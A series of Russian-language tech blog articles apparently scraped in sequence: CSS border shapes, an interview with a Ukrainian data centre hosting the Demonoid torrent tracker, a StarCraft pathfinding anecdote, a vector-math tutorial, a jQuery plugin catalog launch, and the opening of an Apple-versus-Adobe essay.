border-radius: 50px / 100px; /* horizontal radius, vertical radius */
Это то же самое, что:
border-top-left-radius: 50px 100px;
border-top-right-radius: 50px 100px;
border-bottom-right-radius: 50px 100px;
border-bottom-left-radius: 50px 100px;
Эта техничка бывает полезна, если необходимо имитировать искривление, а не закругление. Например, так можно получить эффект скрученной бумаги:
.box {
width: 200px; height: 200px;
background: #666;
border-top-left-radius: 15em 1em;
border-bottom-right-radius: 15em 1em;
}
CSS фигуры
В следующих примерах предполагается такая разметка:
<div class="box"></div>
И такой базовый css:
.box {
width: 200px;
height: 200px;
background: black;
}
Наиболее частым примером использования CSS фигур является отображение стрелок. Чтобы понять, как это работает, необходимо разобраться с использованием отдельного border-color для каждой стороны и установкой значения «0» для width и height:
.arrow {
width: 0; height: 0;
border-top: 100px solid red;
border-right: 100px solid green;
border-bottom: 100px solid blue;
border-left: 100px solid yellow;
}
Или то же самое:
.arrow {
width: 0; height: 0;
border: 100px solid;
border-top-color: red;
border-right-color: green;
border-bottom-color: blue;
border-left-color: yellow;
}
Или так:
.arrow {
width: 0; height: 0;
border: 100px solid;
border-color: red green blue yellow;
}
А теперь оставляем только синий треугольник:
.arrow {
width: 0; height: 0;
border: 100px solid;
border-bottom-color: blue;
}
Создание Speech Bubble
Наша базовая разметка:
<div class="speech-bubble">Hi there!</div>
И стили:
.speech-bubble {
position: relative;
background-color: #292929;
width: 200px;
height: 150px;
line-height: 150px; /* vertically center */
color: white;
text-align: center;
}
Теперь нужно расположить стрелку-треугольник в нужном месте. Вот наш цветной квадратик:
.speech-bubble:after {
content: '';
position: absolute;
width: 0;
height: 0;
border: 10px solid;
border-color: red green blue yellow;
}
Оставляем только четверть квадратика:
.speech-bubble:after {
content: '';
position: absolute;
width: 0;
height: 0;
border: 10px solid;
border-top-color: red;
}
Теперь перемещаем ниже и закрашиваем:
.speech-bubble {
/* … other styles */
border-radius: 10px;
}
.speech-bubble:after {
content: '';
position: absolute;
width: 0;
height: 0;
border: 15px solid;
border-top-color: #292929;
top: 100%;
left: 50%;
margin-left: -15px; /* adjust for border width */
}
Примеры применения:
/*
Speech Bubbles
Usage: Apply a class of .speech-bubble and .speech-bubble-DIRECTION
<div class="speech-bubble speech-bubble-top">Hi there</div>
*/
.speech-bubble {
position: relative;
background-color: #292929;
width: 200px;
height: 150px;
line-height: 150px; /* vertically center */
color: white;
text-align: center;
border-radius: 10px;
font-family: sans-serif;
}
.speech-bubble:after {
content: '';
position: absolute;
width: 0;
height: 0;
border: 15px solid;
}
/* Position the Arrow */
.speech-bubble-top:after {
border-bottom-color: #292929;
left: 50%;
bottom: 100%;
margin-left: -15px;
}
.speech-bubble-right:after {
border-left-color: #292929;
left: 100%;
top: 50%;
margin-top: -15px;
}
.speech-bubble-bottom:after {
border-top-color: #292929;
top: 100%;
left: 50%;
margin-left: -15px;
}
.speech-bubble-left:after {
border-right-color: #292929;
top: 50%;
right: 100%;
margin-top: -15px;
}
Вертикальное центрирование текста
минус использования line-height при вертикальном центрировании в ограничении текста одной строкой. Для решения этой проблемы, можно применить display: table к нашему Speech Bubble и display: table-cell к тексту:
.speech-bubble {
/* other styles */
display: table;
}
.speech-bubble p {
display: table-cell;
vertical-align: middle;
}
Еще один пример нестандартного использования границ:
.biohazard {
width: 0; height: 0;
border: 60px solid;
border-radius: 50%;
border-top-color: black;
border-bottom-color: black;
border-left-color: yellow;
border-right-color: yellow;
}
Итог
Использование параметра border не ограничивается одним лишь «1px solid black», с помощью границ можно создавать различные фигуры, причем достаточно один раз написать CSS-класс и применять его к множеству элементов на странице.
Недавно весь интернет гудел о переезде The Pirate Bay в Украину. И хоть слухи не подтвердились, выяснилось, что у нас размещается другой известный на весь мир трекер – Demonoid. О том, каково это – хостить один из крупнейших пиратских сайтов современности, мне рассказал Пётр Власенко, коммерческий директор компании Colocall.
Сервера трекера Demonoid в дата-центре Colocall
Несмотря на всемирную популярность сайта Demonoid.com, о нём мало что известно. Его админы не отвечают на письма и не дают интервью, их настоящие имена не знает даже полиция, а на сам трекер можно попасть лишь по приглашению.
После конфликта с медиамагнатами в Нидерландах, Канаде и Малайзии в апреле 2008-го года он переехал к нам. Их текущий провайдер Colocall никак не афишировал причастность к сайту и через полтора года молчания впервые согласился на интервью. Для блога pazzive.livejournal.com.
– Пётр, у вашей компании самый большой дата-центр в Украине, верно?
– По разным оценкам от первого до третьего. Мы не следим за рейтингами, это занятие для молодых компаний.
– Почему вы решили хостить Demonoid?
– К нам пришёл клиент и заказал определённую услугу. Мы долго вели с ним переговоры, он выяснял все детали пару месяцев, не меньше. Для нас это не было политическим решением, Demonoid – обычный клиент на самых обычных условиях.
Логотип трекера Demonoid.com
– Что именно размещается у вас, трекер inferno.demonoid.com?
– Они привезли свои сервера, которые сейчас стоят в нашем дата-центре. Мы не знаем, что на них находится – у нас нет доступа к этой информации, а сопровождаются они удалённо техническими специалистами Demonoid-а.
– Как можно связаться с админами Demonoid-а?
– Они не ответят. С ними хотят связаться многие: журналисты, поклонники, службы самых разных стран. Но админы Demonoid-a очень избирательно подходят к переписке. Когда нашим правоохранителям нужно было с ними связаться, я специально предупреждал, чтобы они ответили на запрос.
– Ими уже интересовались наши органы?
– Органы ими интересуются всё время. Ассоциации правообладателей постоянно пытаются оказывать на нас давление, в том числе и через украинские органы. Мы перенаправляем их на админов, а сами не вмешиваемся и не ведём переговоры.
– На вас давят?
– Украина, как ни странно это звучит, всё же достаточно правовое государство. Поэтому мнение каких-нибудь IFPI – это всего лишь их частное мнение, несмотря на то, что бюджеты их участников сопоставимы с бюджетом Украины.
Сервера трекера Demonoid в дата-центре Colocall
– Не боитесь, что Demonoid может повторить судьбу Инфостора и маски-шоу вынесут сервера сайта?
– Работа дата-центра учитывает такие риски. Это может случиться не только с Demonoid-ом, но и с любым клиентом. Мы ведь не контролируем, что лежит на серверах, купить наши услуги может любой желающий.
– Сейчас антипираты и медиалобби хотят переложить всю ответственность за файлообмен на провайдеров, чтобы те следили за своими пользователями. Отразится ли это на хостинг-провайдерах?
– Периодически в Верховной Раде проскакивают такие законопроекты. Но в украинском законе «О связи» чётко прописано, что провайдер не отвечает за контент своих клиентов. А то, что хотят правообладатели – это их частное мнение, они не являются законодательными органами. Пусть купят себе депутата и пролоббируют такой закон, тогда мы его выполним. Пока такого закона нет – они нам никто и мы им тоже.
– Как вы вообще относитесь к усилению копирайт-законов?
– Я не могу к ним относиться хорошо, поскольку комании, где я работаю, да и прочим интернет-провайдерам эта борьба доставляет определенные хлопоты.
Медиакорпорации уже проиграли в этой борьбе, упустив момент, когда контент пошёл в сеть. Они привыкли продавать вещи и не понимают, как информация может быть без упаковки, красивого диска, голографической наклейки и штрих-кода. Мир изменился, а они – нет. Сейчас они цепляются за старые схемы, лоббируя «нужные» законы. Но остановить пиратство скорее всего уже не получится.
– Гендиректор Sony Pictures Майкл Линтон заявил, что «Интернет не дал нам ничего хорошего». Действительно ли развитие сети ведет к коллапсу аудио-видеоиндустрии?
– Понятно, что продавцам лошадей развитие автомобильного транспорта не принесло ничего хорошего.
– А что хорошего интернет дал Вам?
– Во-первых, рабочее место. Неограниченный источник информации – я забыл, когда последний раз был в библиотеке. Ну и главное – общение. В реальности трудно найти человека со схожими интересами, а при помощи интернета это сделать гораздо проще.
– Месяц назад Demonoid сообщил о технических проблемах, из-за которых пропали данные за последние несколько месяцев. Чтобы восстановиться, с 14 сентября сайт ушёл в оффлайн. Вы в курсе, что случилось?
– Какое-то время назад у них в одной из стоек полетели винчестеры. Но это было раньше, а что за трудности у Demonoid-а сейчас, мы не знаем.
– По словам их админов, человек, который может восстановить трекер, недоступен. Речь идёт о вашем программисте?
– Нет, всю техническую поддержку серверов они осуществляют удалённо. Речь не идёт о наших специалистах.
– Torrentfreak писал о президенте литовских антипиратов, который требовал закрыть доступ к Demonoid-у и заявил, что с вами «чрезвычайно трудно связаться». Вы с ним общались?
– Да, нам звонил какой-то хамоватый мальчик, с которым мы просто не смогли говорить: он сразу же начал угрожать, абсолютно неконструктивный человек. Мы отправили его в суд, сказав, что если он принесёт решение суда, мы с радостью его выполним, так как выполняем все украинские законы. А пока такого решения нет, говорить с ним мы не будем.
– Сейчас доступ к Demonoid-у блокирован для определённых стран, в том числе и для Украины. Это ваша инициатива или решение админов трекера?
– Мы никак на это не влияем, это политика трекера. Я думаю, не в последнюю очередь это связано с DDoS-атаками.
– А их атакуют?
– Да, DDoS-атаки есть, большие и серьёзные. Но это всегда проблема хостинг-провайдера. Мы научились с ними справляться, на работе Demonoid-а они почти не сказываются. И, кстати, атакуют не только их: на прошлых выборах мы хостили сервер Центризбиркома, так его постоянно пытались завалить.
Логотип хостинг-провайдера Colocall, приютившего трекера Демоноида
– Не скучаете по тем временам, когда онлайн существовал отдельно от оффлайна?
– Раньше, конечно, было свободнее. Меньше пользователей, образовательный уровень которых был выше, ведь Интернет начинался как игрушка интеллектуалов. Сейчас им пользуется каждый школьник, хотя лично мне это не мешает.
– Есть ли минусы в такой популяризации цифровых технологий? Не пугает обилие низкокачественной продукции в сети?
– У технологий нет минусов. Любой каталог библиотеки тоже содержит 90% мусора. Возможно, в интернете его 99%, но это не исключает наличия чего-то стоящего. Главное – понимать, что именно нужно найти, тогда никакой мусор мешать не будет.
– По словам Марка Гетти, владельца фотобанка Getty Images, «интеллектуальная собственность — это нефть XXI века». Как считаете, он прав?
– До 2000-го года были и более громкие заявления, закончившиеся мыльным пузырём дот-комов. Видимо, пришло время надувать пузырь 2.0.
– Понятие «интеллектуальная собственность» связано с дилеммой: информация не материальна, поэтому не имеет цены. Но создающим её людям нужно платить за работу. Можно ли решить эту дилемму?
– Она решается уже несколько веков постоянно меняющимися схемами. Одной из них было книгопечатание – ведь уже тогда продавалась информация, а не бумага с обложкой. На тот момент вопрос продажи интеллектуальной собственности решился так, потом появились патенты и торговля ими. Со временем будут и новые решения.
– А что будет дальше? Возможно ли найти компромисс между медиакорпорациями и пиратами?
– Компромисс невозможен. Это вечная борьба щита и меча, защиты и нападения. Каждый раз, когда будут появляться новые законы, найдут и способы их обойти. Не будет торрентов – появится другая технология, этот процесс уже не остановить.
Один из ведущих разработчиков Warcraft и Starcraft Патрик Вайат периодически публикует воспоминания о своей работе в компании Blizzard в 90-е годы. Очень интересно посмотреть изнутри на процесс разработки игр, которые стали впоследствии культовыми. В последней заметке Патрик поведал замечательную историю, как пришлось впопыхах исправлять баги в StarCraft перед выпуском игры и что из этого получилось.
Разработчикам приходилось работать в условиях жёсткого дедлайна. Они постоянно стояли перед фактом, что релиз состоится «через два месяца», так что у них было время исправить критические баги, но не было времени внести фундаментальные изменения и переписать часть кода, чтобы устранить причину этих багов.
Финальный релиз игры откладывался снова и снова, но дедлайн «два месяца» оставался неизменным. Отсюда и растут ноги у тех «грязных хаков», о которых рассказывает Патрик Вайат.
Почему компания поставила такой дедлайн? Дело в том, что на игровой конференции E3 в 1996 году компания Ion Storm неожиданно показала потрясающую демку Dominion Storm.
В это время практически готовый к выпуску StarCraft выглядел примерно так.
Какую бы игру вы купили, будь у вас выбор, задаёт риторический вопрос Патрик Вайат. Разработчики Blizzard отошли от шока и приняли решение переписать графический движок StarCraft под изометрические тайлы.
Графический движок полностью переделали, и в условиях дедлайна Патрика Вайат с коллегами бросились закрывать баги. Он говорит, что их были «тысячи». Некоторые мог выявить и устранить один разработчик за пару часов. Другие — как баг синхронизации в многопользовательском режиме — требовали сконцентрированной работы нескольких разработчиков в течение нескольких дней. Была и третья категория багов, которые связаны с пробелами в процессе разработки. Например, код протосса-авианосца (Protoss Carrier) в своё время выделили в отдельную ветку, и не смогли влить её обратно. Таким образом, этот протосс существовал отдельно от основного кода, и любые изменения, которые вносились во все юниты, нужно было потом отдельно вносить в него. Также и любые выявленные баги в игре нужно было отдельно исправлять в авианосце. В итоге вышло, что он вообще всё делал особым образом, выделяясь среди всех юнитов. Можно было бы и «убить» этот юнит, но уж очень он всем полюбился, так что авианосец решили оставить.
Патрик Вайат говорит, что особенно большое количество багов возникло с работой движка по поиску маршрутов для юнитов (path-finding). Если графический движок переписали под изометрические тайлы, то алгоритм поиска маршрутов в условиях дедлайна решили взять старый, от Warcraft (в отличие от Diablo, куда встроили полноценный изометрический движок передвижения юнитов). Он был оптимизирован под тайлы 32х32 пиксела, составленные из 16 ячеек по 8х8 пикселов. Такую схему выбрали в своё время, чтобы оптимизировать графику под приставку Super Nintendo, поскольку там имелось аппаратное ускорение для рендеринга тайлов 8х8.
Поскольку камера в Warcraft I и II смотрит сверху вниз, края графических объектов (лес, строения, объекты местности) имеют либо горизонтальное, либо вертикальное положение, и поиск маршрута для юнитов осуществлялся без проблем. Каждый тайл 32х32 был либо проходим целиком, либо непроходим. На скриншоте зелёным показаны рассматриваемые алгоритмом границы тайлов, а красным — непроходимые.
Но для StarCraft графику сделали изометрический, так что игра стала визуально более привлекательной. Чтобы старый движок поиска маршрутов работал на изометрической графике, пришлось увеличить разрешение карты: теперь каждый тайл 8х8 должен быть проходим или непроходим. Хотя лучшее разрешение позволило поместить больше юнитов на карту, но нагрузка для вычисления маршрута увеличилась в 16 раз!
Дополнительную проблему создало то, что из-за диагональной изометрической графики появилась куча пограничных ситуаций, когда было непонятно, помечать тайл проходимым или нет. На скриншоте показано, как изометрическая графика делит тайлы на фигуры неправильной формы.
Из-за этого вылезла целая куча глюков. Некоторые удалось быстро исправить, но другие очень раздражали. Например, самым неприятным был глюк с возникновением пробок во время добычи ресурсов у рабочих юнитов (SCV терранов, дрон зергов, зонд протоссов). В какой-то момент один из юнитов вставал у пути у другого, тот останавливался, преграждая путь третьему, и т.д. Возникала глухая пробка, из-за которой останавливалась вся добыча. Поскольку игрок обычно занят другими задачами (строительство зданий, участие в боях и т.д.), он не замечал проблему вовремя, пока вся экономика не обрушилась из-за нехватки денег.
Истоки проблемы в том, что игроки пытались до предела увеличить количество рабочих юнитов, отправляя их на один и тот же источник ресурсов. Поэтому юниты двигались по схожим маршрутам и могли мешать друг другу.
Патрик Вайат изучил проблему и понял, что у него не хватит ума решить её фундаментальным образом, изменив алгоритм. Юниты постоянно меняют свои координаты и должны, следовательно, постоянно пересчитывать маршрут, в зависимости от маршрутов других юнитов (кстати, эта задача близка к NP-полным задачам). Поэтому он решил, что здесь не обойтись без грязного хака — и он полностью удалил часть кода, которая отвечала за предотвращение столкновений рабочих юнитов с другими юнитами.
Таким образом. рабочие юниты смогли буквально проходить друг сквозь друга, проблему с пробками решили. Разработка продолжилась, и вскоре игру выпустили в продакшн. Хотя изъяны в движке поиска маршрутов давали о себе знать. Например, протосс-драгун заслужил плохую репутацию в этом отношении, потому что он как самый большой наземный юнит чаще других отказывался идти по оптимальному маршруту.
P.S. Релиз StarCraft состоялся в мае 1998 года. Кстати, игра Dominion Storm вышла только через месяц после StarCraft, и вообще не оправдала ожиданий. Как выяснилось, в компании Ion Storm в те годы разразился острый конфликт между руководством и разработчиками. Патрик Вайат ссылается на эту статью и в качестве примера приводит «свою любимую» цитату, чтобы понять, как общались в компании: «Ещё скажи спасибо, что мы списали твою машину и дом, грёбаная ты крысолицая с#ка». Очевидно, что в такой рабочей атмосфере трудно было сделать выдающуюся игру. Да и вышеупомянутая демка на игровой конференции E3 в 1996 году, как выяснилось, была фальшивкой. Впрочем, Патрик не обижается на конкурентов, а даже благодарен им за то, что они «дали нам хорошего пинка под зад» и вынудили сделать игру качественно иного уровня.
По теме:
Патрик Вайат, «Создание Warcraft» (перевод): первая часть, вторая часть, третья часть.
Просматривая различный код по выводу на экран какой-нибудь даже примитивной графики, я заметил чрезмерную любовь некоторых программистов к тригонометрии. Часто код пестрит синусами, косинусами и арктангенсами там, где без них можно обойтись. Этим грешат даже хорошие программисты, которые способны спроектировать сложную систему, но почему-то не освоили вектора в объёме школьной программы. Буквально азов векторной алгебры хватает для решения многих насущных проблем. В этом топике я хочу провести краткий ликбез, напомнить основные действия с векторами на плоскости и в качестве примера решить две задачи без тригонометрии: поиск отражённого луча по падающему лучу и произвольно расположенному зеркалу, а также рисование наконечника стрелки. Если вы можете представить в голове рисование произвольно направленной стрелки без синусов и косинусов, смело пропускайте этот топик. Для остальных постараюсь объяснять попроще.
Теория
Итак, вектором (рассматриваем только двумерный случай) называется пара чисел:
Геометрический смысл — это отрезок на плоскости, для которого важна длина и направление, но не важно положение. То есть параллельный перенос не меняет вектора. Часто полезно отождествлять вектор с точкой (x,y) на плоскости — это всё равно что провести вектор из точки (0,0) в точку (x,y). Рассмотрим основные операции.
Сложение векторов:
Геометрический смысл изображён на картинке — мы перемещаем второй вектор, чтобы его начало совпало с концом первого, и результатом считаем вектор от начала первого до конца второго:
Умножение вектора на скаляр (число):
Геометрический смысл — удлинение вектора в соответствующее число раз, не меняя направление (разве что на противоположное, если a отрицательно). Умножение на -1 перевернёт вектор на 180°, не меняя длину. Деление вектора на число a — это умножение на 1/a.
Скалярное произведение векторов:
Очень важная штука. Перемножая два вектора, мы получаем число, которое характеризует длину проекции одного на другой. Перемножив два вектора, по знаку мы можем определить, направлены ли вектора в одну сторону (скалярное произведение положительно), направлены противоположно (скалярное произведение отрицательно) или перпендикулярны друг другу (произведение равно нулю). Не нужно для этого вычислять арктангенсы отношений координат каждого вектора и сравнивать углы. Два умножения, одно сложение и дело в шляпе.
Также важно, что скалярное произведение вектора самого на себя — это квадрат его длины (следствие теоремы Пифагора):
Вектор называют нормированным или единичным, если его длина равна единице. Нормировать произвольный ненулевой вектор — это поделить его на длину. Получится единичный вектор, сонаправленный исходному.
Скалярное произведение произвольного вектора на единичный даст точную длину проекции этого вектора на направление единичного. Чтобы получить не просто длину, а сам вектор-проекцию, надо умножить эту длину на наш единичный вектор:
В скобках скалярное произведение векторов a и e, а затем умножение вектора e на скаляр.
Что делать, если нам нужна проекция на ненормированный вектор? Чтобы нормировать, надо извлечь корень, а это долго и грустно. Однако, если мы приглядимся к формуле, то поймём, что нам нужно поделить результат на квадрат длины, то есть просто на скалярное произведение вектора на себя. То есть проекция a на произвольный ненулевой b будет вычисляться так:
Скалярное произведение двух единичных векторов — это косинус угла между ними. Если вдруг вам всё-таки потребовался угол между направлениями, проверьте, может, вам вовсе не угол нужен, а его косинус (или синус, который в ряде случаев можно получить из основного тригонометрического тождества). Тогда вам не потребуется ковыряться с арктангенсами.
Вот, собственно, вся базовая теория. Теперь попробуем её применить.
Вычисление отражённого луча
Отражённый луч может пригодиться не только для оптических задач, а ещё, скажем, при моделировании упругого столкновения объекта со стенкой, что незаменимо при программировании анимированных красивостей. Тогда вектор скорости объекта изменится как раз по закону отражения. Итак, у нас есть падающий вектор l и некоторая произвольная прямая, от которой производится отражение. Прямая может быть задана, к примеру, двумя точками. Требуется определить отражённый вектор r той же длины, что и l:
Зная, что угол падения равен углу отражения, можно придумать какой-то такой наивный алгоритм:
- Посчитать разность координат точек прямой, взять арктангенс их отношения — получим наклон прямой к оси x.
- Аналогично определить наклон падающего луча к оси x.
- Посчитать разность этих углов, вычесть её из 90° — получим угол падения.
- Добавить угол падения дважды и ещё 180° к углу наклона падающего луча — получим угол наклона отражённого луча.
- Вычислить длину падающего луча и умножить на синус и косинус угла наклона отражённого луча — получим результирующий вектор.
Итого: два арктангенса, синус, косинус и квадратный корень.
Однако если мыслить векторами, то простое геометрическое построение даёт существенно более быстрое решение:
Две проекции вектора l на нормаль со знаком минус да плюс ещё один вектор l в точности дадут нам результат:
Делить не надо, если нормаль уже нормирована. Кстати, я не рассказал, как её определить. Если прямая задана двумя точками (x1,y1) и (x2,y2), то вектор нормали (ненормированый) легко определяется вот так:
Иногда важен знак нормали, чтобы знать, какая сторона прямой «внешняя». В нашей задаче это неважно, вы в этом легко можете убедиться.
Кстати, полученная формула отражённого луча действует и в трёхмерном варианте, только нормаль надо определять уже для плоскости.
Рисование стрелки
Пусть заданы концы стрелки (x1,y1) и (x2,y2). Надо нарисовать усики фиксированного размера на конце (x2,y2). Посмотрим рисунок:
Здесь точка (x2,y2) обозначена буквой P. Необходимо вычислить координаты точек A и B, чтобы провести отрезки PA и PB. Будем считать, что нам задана продольная и поперечная длины усиков h и w. Внимательный читатель уже может сам предложить алгоритм: чтобы найти точку O, надо вычесть из P h, умноженное на единичный вектор вдоль стрелки (тут, похоже, без корня не обойтись, но он нужен всего один раз!). А затем A и B уже определяются, добавляя к O вектор нормали, домноженный на w и −w. Заметьте, что мы нигде не определяли угол раствора стрелки (вообще это арктангенс отношения w и h), но он нам и не нужен: стрелка легко рисуется и так.
Заключение
В целом тригонометрия пригождается не так часто. Без тригонометрических функций вычисляется преломлённый луч по закону Снеллиуса. Если вам нужно повернуть сложный чертёж на определённый угол, вам потребуется только синус и косинус этого самого угла. Из них составляется матрица вращения, и на неё домножаются по очереди все точки. Тригонометрия на самом деле медленная, особенно когда её много. Поэтому не используйте её там, где она не нужна.
Последние четыре года я работал верстальщиком в разных питерских веб-студиях.
От полуподвальных контор из 3-5 человек до больших фирм 25-40 человек, работающих на рынке дорогих сайтов для крупных заказчиков. Но независимо от размера компании задачи были одни и те же.
- нужно продать дизайн
- сделать сайт, который не стыдно положить в портфолио
- сделать оригинально, как еще не делали конкуренты
Таким образом, задачи верстальщикам и дизайнерам ставились одинаковые: «давайте что-то креативное, свежее, интересное».
Я очень хорошо понимаю верстальщиков, дизайнеров и владельцев веб-студий, поэтому чтобы облегчить им поиск плагинов под готовый функционал и в то-же время показать что-то свежее, чего еще многие [возможно] не видели, решил уволиться отовсюду, и запустить проект Plugin Detector
В этой статье будет затронуто:
Список фич
- рабочее демо — прямо на сайте! не нужно никуда ходить чтобы посмотреть как оно работает
- рецензии и рейтинг позволяют получить более полное представление о плагине еще до его установки
- для большинства плагинов есть ссылки на примеры внедрения в реальных проектах
- каталог с категориями, тэгами и CMS (плагины, заточенные под конкретную CMS)
- RSS всего сайта; RSS для каждой категории и тэга
- у каждой демки короткий и понятный адрес, который можно послать по аське или вставить iframe’ом
Плагинов jQuery так много (на оф. сайте jquery несколько тысяч), что их появление и развитие просто невозможно отследить ни отдельно взятому дизайнеру или верстальщику, ни владельцу веб-студии. Отслеживание трендов в плагиностроении jQuery и выкладывание их на сайте в формате блога, одновременно систематизируя в каталоге, и есть задача сайта.
Краткое описание функционала
Рейтинг (up/down)
За каждый плагин можно проголосовать либо «за» либо «против».
Ваш голос отобразится на странице статистики.
Соотношение голосов «за» и «против» формирует средний балл от 0 до 10.
Данное голосование доступно анонимам
Рейтинг по рецензиям
При написании рецензии необходимо указать вашу оценку по четырем параметрам.
Написание рецензий доступно только зарегистрированным пользователям (залогиненным через социальные сети)
Предложение залогиниться для написания рецензии:
Каталог
Каталог состоит из трех разделов:
Термины каталога отсортированы по количеству элементов в термине.
Цифры уже приелись, они не дают наглядности и как следствие — бесполезны.
Поэтому решил сделать подобие графика
Статистика
В рейтинге плагинов по голосам внедрил здешнюю,
круговую диаграмму на canvas,
написанную хабраюзером spmbt.
Он любезно согласился безвозмездно использовать данный скрипт в моем сайте.
Столбики слева показывают количество голосов за плагин, а круговая диаграмма — соотношение голосов «за» и «против».
Примечание: диаграмма не работает в старых браузерах
Лейблы для наглядности
В разделах «По рецензиям», «По рейтингу» и в похожих плагинах, сниппеты выглядят так:
Похожие плагины
Похожие плагины отображаются, если вы находитесь на странице плагина. Они ищутся на основании тэгов и категорий. Если данных классификации не хватает для того, чтобы показать шесть плагинов, недостающие добавляются в случайном порядке.
Меню демки
Сравнения однотипных плагинов
Иногда функционалом, который нам нужно реализовать, обладают сразу несколько плагинов.
Таблицы сравнения (которые будут постепенно дополняться и уточняться)
помогут принять решение и сократить утомительные процедуры по изучению сайтов разработчиков.
Если вы еще не устали ;) расскажу как создавался проект
С чего все началось
Последние два года мне часто приходилось глубоко зарываться в гугл, выискивая интересные решения на jQuery. Потом я передавал дизайнерам и менеджерам стопку ссылок на очередную порцию отобранных плагинов для возможного их применения в проектах.
Через какое-то время накопилось много ссылок и стало очевидно, что имеющиеся плагины нужно как-то систематизировать и опубликовать для легкого доступа сотрудникам компании. Так появилась закрытая корпоративная база знаний.
Разработкой и развитием корпоративной базы знаний (вики + каталог плагинов) я занимался примерно полгода, когда было свободное время между проектами. Однако отсутствие фидбека со стороны сотрудников (который мог бы мотивировать меня на дальнейшую разработку) заставило искать другие пути развития. Аудитория каталога была слишком маленькой (в компании было около 40 человек, к базе имело доступ около 15, но пользовалось ей от силы 5).
Каталог плагинов должен быть общедоступным
Со временем понял, что делать сложную базу для наполнения которой требуется коллосальное количество времени только ради одной компании — нецелесообразно. Я приостановил разработку корпоративной базы и начал проектирование нового ресурса, открытого для всех желающих. Этот ресурс стал второй версией,, возвращением к жизни идеи, зародившейся полтора года назад. Примерно два месяца ушло на разработку новой версии с нуля и первичное наполнение. При этом учел ошибки проектирования и использовал удачные наработки из первой версии.
Люди не знают, что «это» уже написано
Однажды во время собеседования на должность верстальщика в офис пришел более менее опытный кандидат. Среди прочего, он показал скрипт реализующий эффект вращения трехмерного дома. Его самопис (надо сказать, неплохо сделанный) с помощью мыши мог «вращать» дом.
На мой вопрос «если бы ты знал что есть плагин jQuery, в котором эта функциональность уже реализована, стал бы писать свое решение?» Немного замявшись, он ответил: «наверное использовал бы готовый». Что еще раз дало мне понять — люди просто не знают о существовании огромного пласта знаний: какой плагин для чего можно применить; как он называется и где лежит.
Плагинам jQuery нужны рецензии
− почему у «плагинов» хрома, фокса, айфона и андроида есть отзывы (рецензии), а у плагинов jQuery их нет?
Действительно несправедливо — подумал я и решил исправить эту недоработку.
|
Менеджеру и заказчику все равно, какими средствами реализован функционал, им важно чтобы оно работало.
Для разработчика наоборот, ведь именно он часто выбирает способ реализации (по крайней мере, так было в компаниях, где я работал). Поэтому в рецензиях разработчик может найти ценный опыт использования плагина другими, может узнать о «подводных граблях» заранее и поделиться комментарием или замечанием о плагине с другими. Сравнить плюсы и минусы двух плагинов прежде, чем скачать и распаковать исходник с сайта разработчика… мне кажется это просто круто. Когда только начинал работать с jQuery, много времени убил просто потому что никто не подсказывал и не направлял, а поиск не дает исчерпывающего ответа что и как лучше сделать.
Маркетинг
Однако не только верстальщикам и дизайнерам данный ресурс будет полезен. Менеджеры, владельцы студий, а также сами заказчики или владельцы сайтов могут пользоваться им для того, чтобы знать какие возможности им предоставляет современная веб-индустрия. Заказчик может самостоятельно ознакомившись с материалами сайта прийти к разработчику и сказать: «хочу вот эту штуку!».
В некоторых случаях нет ничего плохого в том, что заказчик может сам найти плагин и попросить реализовать именно его.
Менеджер проектов всегда рад, когда заказчик наконец понял, чего он хочет. И речь идет даже не о формальном утверждении макетов и ТЗ, а о реальном удовлетворении фундаментальных потребностей заказчика и его бизнеса. Даже когда все десять раз утверждено, задизайнено, сверстано и запрограммлено, заказчик может внезапно™ осознать, что на самом деле он хочет… все переделать! И это происходит не потому что заказчик такой плохой а потому что понимание чего-же он хочет приходит когда он видит уже что-то готовое.
Чтобы уменьшить вероятность таких «озарений», я предлагаю давать заказчику ссылку на сайт еще до того, как утверждаются первые макеты. Чтобы он посмотрел возможные варианты, сравнил различия, “осознал” это и сделал более осмысленный выбор под чутким руководством самого разработчика.
Нужно ли давать заказчику свободу выбора?
С одной стороны, заказчику нравится выбирать и чувствовать себя участником процесса. Это доставляет ему радость и помогает облегчить процесс расставания с деньгами. С другой стороны, заказчик не всегда понимает уместен ли плагин в каком-то конкретном контексте, и бездумное «хочу» может негативно сказаться на итоговом качестве сайта.
Почему использовать плагины выгодно?
Плагины уже готовы к употреблению: прикрутить плагин к верстке и движку — относительно небольшая задача по сравнению с его фундаментальной разработкой. Вы тратите относительно немного ресурсов для внедрения плагина, но получаете положительный эффект (довольный заказчик, интересное портфолио), намного превосходящий эти затраты.
Выбор плагина для заказчика — это его творчество, его вклад, который для вас почти ничего не стоит, потому что выбор происходит на этапе, когда еще ничего не сделано. Верно?
Я продолжаю думать над тем, как помочь заказчику определиться со своими желаниями, и над тем, чтобы это «определение» не вызывало головной боли у разработчиков
PS
Если вы увидете в интернете крутой пример, и захотите узнать как это сделано
или какими средствами можно реализовать подобное
(если вас не устраивает оригинальный инструмент)
— пишите мне на почту или любым другим способом.
У меня в закладках лежит много ссылок на плагины, которые еще не опубликовал,
но уже произвел первичные тесты.
PPS
Сайт пока что не рассчитан на мониторы 1024 px в ширину (по статистике их 4-5%), но в будущем я постараюсь это исправить. Однако необходимо иметь ввиду, что некоторые демки больше тысячи в ширину. В ие не смотрел — не обессудьте. Позже девятку подтяну, на восьмерку забил.
UPD1
обновленные результаты голосования по профессии:
результаты голосования по желаемым категориям на сайте:
UPD2
Перебои в работе сайта устранены, см комменты ниже
Теперь держу открытым шелл, чтобы зачищать access.log до того как он заполнит все место на диске
В последнее время я наблюдаю массу дискуссий о противостоянии Apple и Adobe. И в основном они сводятся к тому, что Apple — молодцы, а Adobe и Flash — корень всех бед…
Мне кажется, что большинство обсуждающих просто не видят леса за отдельными деревьями. Их внимание так отвлечено на ругань между руководствами больших и известных корпораций, что заметить основную тенденцию не особо получается.
Тенденция
Сегодня мы наблюдаем становление потрясающего рынка — маленьких, универсальных помощников человека, которые могут (или смогут в будущем) помочь ему связаться с кем угодно и как угодно, получить нужную информацию в любом месте и о любом предмете окружения, выполнять миллионы прочих полезных функций, и, наконец, просто развлечься. Вероятно, что через 5-10 лет такие помощники (сильно улучшенные) будут почти у каждого человека на планете, а жизнь без них будет казаться невозможной. Недооценить важность этого рынка очень тяжело. И война за него будет нешуточная, как и выигрыш победителя.
Корни зла
Чем возможности аппаратуры HTC Hero отличаются от iPhone? А от Nokia N900? Только прошу не сравнивать операционки, размеры экранов или наличие клавиатуры. Я прошу задаться вопросом «Что может делать iPhone такого, чего технически не мог бы сделать телефон на базе Android?». Правильный ответ — возможности аппаратуры идентичны.
